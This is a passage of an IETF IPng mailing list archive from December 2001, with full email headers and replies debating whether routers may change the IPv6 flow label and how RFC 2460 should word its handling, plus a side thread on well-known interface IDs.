Elz'" , "Hesham Soliman (ERA)" Cc: jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 17:16:58 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > | I don't think that should be allowed. > > Huh? What shouldn't be allowed? Not having multiple default > routers? That is, you're saying everyone must have more than one? > That would be rather ambitious. => Indeed, but that's not what I was saying :) or at least not what I meant. I was arguing against letting the default routers set the flow label and I was saying that 'it' (setting the flow label by default routers) should not be allowed, or at least not unless somehow it's restored before the packet is delivered to the receiver, as per draft-rajahame.... > I agree as well. > > But, if I have only one default router, and I have a lot of > applications > that know nothing about setting flow labels (which pretty > much describes all > the IPv6 code that exists at the minute that Im aware of), > are you telling > me that I am to be prohibited from having the router do > classification and > set the flow label to some intelligent choice ? => Well the assumption here of course is that applications know nothing about the flow label, which is fair, considering that it has not been defined yet. However, once it is defined, I can't see why we can't add it to the API and allow it to be set by the applications. Alternatively another part of the stack may also choose to set it. > > Note: no-one is proposing (that I am aware of) mandating > that it work > this way - the issue is more of whether we should be prohibiting it. > Personally, I like to prohibit as little as possible, unless there's > a very good reason - and that someone (or some group) can't > figure out > how they'd sanely use it, isn't good enough. => So I guess you're arguing for allowing the case where routers can modify the flow label from zero to X. But should we then force them to set it back to Zero again ? I'm just wondering if there will be any confusion if the receiver gets a flow label set to X when the sending node didn't intend to set/use the flow label at all. Hesham > > kre > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:50:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGorZR025075 for ; Thu, 20 Dec 2001 08:50:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKGorNI025074 for ipng-dist; Thu, 20 Dec 2001 08:50:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGonZR025067 for ; Thu, 20 Dec 2001 08:50:49 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA15264 for ; Thu, 20 Dec 2001 08:50:51 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA05252 for ; Thu, 20 Dec 2001 09:50:50 -0700 (MST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id IAA21043 for ; Thu, 20 Dec 2001 08:49:52 -0800 (PST) Message-Id: <4.2.2.20011220104605.024d1150@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 20 Dec 2001 11:50:12 -0500 To: ipng@sunroof.eng.sun.com From: Margaret Wasserman Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <3C1E11E1.102956C6@hursley.ibm.com> References: <4.2.2.20011216201939.0202aeb0@mail.windriver.com> <4.2.2.20011217091931.0201a430@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi All, I am wondering why we should specify the use of the flow label as part of the base IPv6 specifications at all. Why do we need these rules as part of IPv6? The flow label does not, by itself, provide any useful information that a router can use to classify a flow and/or optimize packet handling. In fact, without knowledge of a specific signalling mechanism or flow-establishment mechanism, the router can't use the flow label for anything at all. For example, a router cannot use a flow label for QoS queuing or to optimize hop-by-hop header processing, unless the router is aware of the signalling/ flow-establishment mechanism in use, since it will not know the flow lifetime. Any rules governing how the flow label is chosen, modified, authenticated and/or interpreted will be specific to the signalling/flow-establishment mechanism in use. And, all of the nodes/routers that are utilizing one of these mechanisms will be aware of the mechanism. So why not specify the semantics/use/etc. of the flow label as part of the signalling/flow establishment protocols? The IPv6 specifications could merely include the current rule: "Hosts or routers that do not support the functions of the Flow Label field are required to set the field to zero when originating a packet, pass the field on unchanged when forwarding a packet, and ignore the field when receiving a packet." [from RFC 2460]. This rule should properly protect the flow label, so that signalling/flow-establishment mechanisms can use the flow label, as needed by the specific mechanism. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:57:28 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGvSZR025189 for ; Thu, 20 Dec 2001 08:57:28 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKGvSBp025188 for ipng-dist; Thu, 20 Dec 2001 08:57:28 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGvPZR025181 for ; Thu, 20 Dec 2001 08:57:25 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA03731 for ; Thu, 20 Dec 2001 08:57:27 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA02067 for ; Thu, 20 Dec 2001 08:57:26 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 08:57:24 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id F03809B1323042C282DB4ECBF9633AF2 for ; Thu, 20 Dec 2001 08:57:23 -0800 From: "Tony Hain" To: Subject: RE: well-known Interface IDs Date: Thu, 20 Dec 2001 08:52:20 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <200112201600.fBKG0Jl24910@gungnir.fnal.gov> X-SLUIDL: 18408FA4-354945D9-8A52AD75-A2355C0E Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis.Dupont wrote: > About your proposal, if we set the globally unique bit on, > you get IIDs > which are no more globally unique. If it is off, this won't avoid > collision... The only advantage is the clarity, i.e. last argument. The state of the bit is not the determining value in uniqueness, so I believe the bit should be set to local like it is for ISATAP. They would still be as unique as any other IANA registered value. Matt Crawford wrote: > Which would be :0200:5eXX:XXYY:YYYY in IPv6 interface id > form. The XXXX portion need not be equal to fffe (but should not be > ffff). I agree it should not be ffff or fffe, but would set the u/l bit off. If they need to exist we should stick them in 0000:53ff:fdyy:yyyy. Again, I have not been convinced there is any value in defining well known host addresses (anycast prefixes yes, hosts no). Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 08:59:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGxLZR025210 for ; Thu, 20 Dec 2001 08:59:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKGxLo8025208 for ipng-dist; Thu, 20 Dec 2001 08:59:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKGxIZR025201 for ; Thu, 20 Dec 2001 08:59:18 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA17325 for ; Thu, 20 Dec 2001 08:59:15 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA07824 for ; Thu, 20 Dec 2001 09:59:13 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBKGt3I32122; Thu, 20 Dec 2001 17:55:04 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA19840; Thu, 20 Dec 2001 17:55:04 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBKGt1D64967; Thu, 20 Dec 2001 17:55:01 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112201655.fBKGt1D64967@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: jarno.rajahalme@nokia.com cc: kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Thu, 20 Dec 2001 14:13:26 +0200. <009CA59D1752DD448E07F8EB2F91175719808F@esebe004.NOE.Nokia.com> Date: Thu, 20 Dec 2001 17:55:01 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: The analogy to the situation with RSVP is not 100% applicable. We could make all the IPv6 sources to mark the packets with flow labels, even if they had no interest in participating in any kind of resource reservations. If we could raise the bar for the "dumb hosts" to do this, the other end of the connection could still utilize flow label based classifiers. => as we don't really know how to use flow label IMHO to remove a well-known scenario from the space of possibilities. The "dumb host" and "smart router" scenario has other problems as well. For example: => I didn't say that dumb host/smart router is good, I did say this is a common scenario. But I am tired of flow label discussions, usually they go nowhere. Please count me as a "keep current (non) specs" supporter. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 09:03:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKH3LZR025241 for ; Thu, 20 Dec 2001 09:03:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKH3L7R025240 for ipng-dist; Thu, 20 Dec 2001 09:03:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKH3IZR025233 for ; Thu, 20 Dec 2001 09:03:18 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA18196 for ; Thu, 20 Dec 2001 09:03:15 -0800 (PST) Received: from mhs99ykf.rim.net ([206.51.26.109]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA08829 for ; Thu, 20 Dec 2001 09:03:13 -0800 (PST) Received: from NGW02YKF.rim.net (ngw02ykf.rim.net [10.101.20.118]) by mhs99ykf.rim.net (Postfix) with SMTP id 5E806B4632 for ; Thu, 20 Dec 2001 12:03:14 -0500 (EST) Received: from PGS02YKF.rim.net ([10.101.20.231]) by NGW02YKF.rim.net (NAVGW 2.5.1.13) with SMTP id M2001122012031010323 ; Thu, 20 Dec 2001 12:03:11 -0500 Received: from xch02ykf.rim.net [10.101.20.37] by PGS02YKF.rim.net [10.101.20.231] (CMSPraetor 5.10.4411) with ESMTP id C5261B14BAB742798F449F093E0C83A3 ; Thu, 20 Dec 2001 12:03:09 -0500 Received: by xch02ykf.rim.net with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Dec 2001 12:03:00 -0500 From: Craig Dunk To: "'Margaret Wasserman'" , Message-ID: <05BEA41254F24A4CBA66E811CDD3AD9CB0A5C4@xch08ykf> Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 12:02:57 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I like the rule below as it seems to nicely separate responsibilities. Will it be self evident when (others) are applying the specific mechanisms mentioned that the flow label (being unprotected) should not be used in a way that circumvents normal routing rules or security policies? Craig. -----Original Message----- From: Margaret Wasserman [mailto:mrw@windriver.com] Sent: December 20, 2001 11:50 AM To: ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt Hi All, I am wondering why we should specify the use of the flow label as part of the base IPv6 specifications at all. Why do we need these rules as part of IPv6? The flow label does not, by itself, provide any useful information that a router can use to classify a flow and/or optimize packet handling. In fact, without knowledge of a specific signalling mechanism or flow-establishment mechanism, the router can't use the flow label for anything at all. For example, a router cannot use a flow label for QoS queuing or to optimize hop-by-hop header processing, unless the router is aware of the signalling/ flow-establishment mechanism in use, since it will not know the flow lifetime. Any rules governing how the flow label is chosen, modified, authenticated and/or interpreted will be specific to the signalling/flow-establishment mechanism in use. And, all of the nodes/routers that are utilizing one of these mechanisms will be aware of the mechanism. So why not specify the semantics/use/etc. of the flow label as part of the signalling/flow establishment protocols? The IPv6 specifications could merely include the current rule: "Hosts or routers that do not support the functions of the Flow Label field are required to set the field to zero when originating a packet, pass the field on unchanged when forwarding a packet, and ignore the field when receiving a packet." [from RFC 2460]. This rule should properly protect the flow label, so that signalling/flow-establishment mechanisms can use the flow label, as needed by the specific mechanism. Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 09:35:47 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKHZkZR025478 for ; Thu, 20 Dec 2001 09:35:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKHZkcP025477 for ipng-dist; Thu, 20 Dec 2001 09:35:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKHZhZR025470 for ; Thu, 20 Dec 2001 09:35:43 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA13483 for ; Thu, 20 Dec 2001 09:35:45 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA19077 for ; Thu, 20 Dec 2001 09:35:43 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id SAA13224; Thu, 20 Dec 2001 18:35:41 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA42070 from ; Thu, 20 Dec 2001 18:35:39 +0100 Message-Id: <3C22216C.D4138DC3@hursley.ibm.com> Date: Thu, 20 Dec 2001 18:35:40 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Craig Dunk Cc: "'Margaret Wasserman'" , ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt References: <05BEA41254F24A4CBA66E811CDD3AD9CB0A5C4@xch08ykf> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk No, I think the immutability property must be specified in general. You can't tell by looking at an opaque 20 bit number whether it's being used for one purpose or another, so without immutability being required, it is a useless field (at least for intserv or diffserv). I agree that in the end we need very few words. The sentence you quote, plus In all cases, the flow label in the packet delivered to the destination node must be identical to the flow label in the packet sent by the source node. would do it for me. All the rest of the text is rationale. Brian Craig Dunk wrote: > > I like the rule below as it seems to nicely separate responsibilities. > > Will it be self evident when (others) are applying the specific mechanisms > mentioned that the flow label (being unprotected) should not be used in a > way that circumvents normal routing rules or security policies? > > Craig. > > -----Original Message----- > From: Margaret Wasserman [mailto:mrw@windriver.com] > Sent: December 20, 2001 11:50 AM > To: ipng@sunroof.eng.sun.com > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > Hi All, > > I am wondering why we should specify the use of the flow label as > part of the base IPv6 specifications at all. Why do we need > these rules as part of IPv6? > > The flow label does not, by itself, provide any useful information > that a router can use to classify a flow and/or optimize packet > handling. In fact, without knowledge of a specific signalling > mechanism or flow-establishment mechanism, the router can't > use the flow label for anything at all. For example, a router > cannot use a flow label for QoS queuing or to optimize hop-by-hop > header processing, unless the router is aware of the signalling/ > flow-establishment mechanism in use, since it will not > know the flow lifetime. > > Any rules governing how the flow label is chosen, modified, > authenticated and/or interpreted will be specific to the > signalling/flow-establishment mechanism in use. And, all of > the nodes/routers that are utilizing one of these mechanisms > will be aware of the mechanism. > > So why not specify the semantics/use/etc. of the flow label as > part of the signalling/flow establishment protocols? > > The IPv6 specifications could merely include the current rule: > > "Hosts or routers that do not support the functions of the Flow Label > field are required to set the field to zero when originating a packet, > pass the field on unchanged when forwarding a packet, and ignore the > field when receiving a packet." [from RFC 2460]. > > This rule should properly protect the flow label, so that > signalling/flow-establishment mechanisms can use the flow > label, as needed by the specific mechanism. > > Margaret > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 09:36:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKHa1ZR025491 for ; Thu, 20 Dec 2001 09:36:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKHa1or025490 for ipng-dist; Thu, 20 Dec 2001 09:36:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKHZuZR025480 for ; Thu, 20 Dec 2001 09:35:56 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA13581 for ; Thu, 20 Dec 2001 09:35:58 -0800 (PST) Received: from fnal.gov (heffalump.fnal.gov [131.225.9.20]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA28934 for ; Thu, 20 Dec 2001 09:35:57 -0800 (PST) Received: from gungnir.fnal.gov ([131.225.80.1]) by smtp.fnal.gov (PMDF V6.0-24 #37519) with ESMTP id <0GON0098PKVVQ9@smtp.fnal.gov> for ipng@sunroof.eng.sun.com; Thu, 20 Dec 2001 11:35:55 -0600 (CST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.10.2+Sun/8.10.2) with ESMTP id fBKHZrl26009; Thu, 20 Dec 2001 11:35:53 -0600 (CST) Date: Thu, 20 Dec 2001 11:35:53 -0600 From: Matt Crawford Subject: Re: well-known Interface IDs In-reply-to: "20 Dec 2001 08:52:20 PST." To: Tony Hain Cc: ipng@sunroof.eng.sun.com Message-id: <200112201735.fBKHZrl26009@gungnir.fnal.gov> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk When the Universal/Local bit is set to the "Local" value, the other bits of the OUI are irrelevant. You cannot reserve or claim an EUI64 which is "Local". At least, not in any IEEE sense. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 09:41:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKHfPZR025532 for ; Thu, 20 Dec 2001 09:41:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKHfPNT025531 for ipng-dist; Thu, 20 Dec 2001 09:41:25 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKHfMZR025524 for ; Thu, 20 Dec 2001 09:41:22 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA26941 for ; Thu, 20 Dec 2001 09:41:24 -0800 (PST) Received: from smtp.tndh.net (evrtwa1-ar8-4-60-069-141.vz.dsl.gtei.net [4.60.69.141]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA21736 for ; Thu, 20 Dec 2001 09:41:23 -0800 (PST) Received: by smtp.tndh.net from localhost (router,SLMail V3.2); Thu, 20 Dec 2001 09:41:20 -0800 Received: from eagleswings [127.0.0.1] by smtp.tndh.net [4.60.68.77] (SLmail 3.2.3113) with SMTP id 269F810B490A4B94B31F98CD6C7F2A2E for plus 1 more; Thu, 20 Dec 2001 09:41:20 -0800 From: "Tony Hain" To: "Margaret Wasserman" , Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Thu, 20 Dec 2001 09:36:16 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal In-Reply-To: <4.2.2.20011220104605.024d1150@mail.windriver.com> X-SLUIDL: 5927924E-87504516-BA3B3E05-71BCE5FE Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret Wasserman wrote: > The flow label does not, by itself, provide any useful information > that a router can use to classify a flow and/or optimize packet > handling. In fact, without knowledge of a specific signalling > mechanism or flow-establishment mechanism, the router can't > use the flow label for anything at all. For example, a router > cannot use a flow label for QoS queuing or to optimize hop-by-hop > header processing, unless the router is aware of the signalling/ > flow-establishment mechanism in use, since it will not > know the flow lifetime. It is valid to say that a flow label can not be used in isolation, but I believe you are locking it too tightly to current implementations of QoS handling. If we consider that the flow label could be used as a modifier to a DSCP, flow lifetime is irrelevant, or more properly 'this packet'. One conceptual use of a DSCP/FL pair would be to manage congestion on a DSCP queue either dropping all packets of a single flow or ensuring the drops are spread across random flows. The choice would depend on the intended service level of the queue. > "Hosts or routers that do not support the functions of the Flow Label > field are required to set the field to zero when originating > a packet, > pass the field on unchanged when forwarding a packet, and ignore the > field when receiving a packet." [from RFC 2460]. I think the group is converging on modifing that text to: Hosts or routers that do not support the functions of the Flow Label field are required to set the field to zero when originating a packet, and ignore the field when receiving a packet. All routers are required to pass the field on unchanged when forwarding a packet. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 20 10:10:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIAQZR025867 for ; Thu, 20 Dec 2001 10:10:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBKIAQxa025866 for ipng-dist; Thu, 20 Dec 2001 10:10:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBKIAMZR025859 for ; Thu, 20 Dec 2001 10:10:22 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA04136 for ; Thu, 20 Dec 2001 10:10:24 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA02954 for ; Thu, 20 Dec 2001 11:10:23 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBKIA9113079; Thu, 20 Dec 2001 10:10:10 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO16031; Thu, 20 Dec 2001 10:09:19 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA06637; Thu, 20 Dec 2001 10:09:53 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15394.10609.81896.412496@thomasm-u1.cisco.com> Date: Thu, 20 Dec 2001 10:09:53 -0800 (PST) To: Francis Dupont Cc: jarno.rajahalme@nokia.com, kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <200112200853.fBK8raD62336@givry.rennes.enst-bretagne.fr> References: <009CA59D1752DD448E07F8EB2F91175719808E@esebe004.NOE.Nokia.com> <200112200853.fBK8raD62336@givry.rennes.enst-bretagne.fr> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk 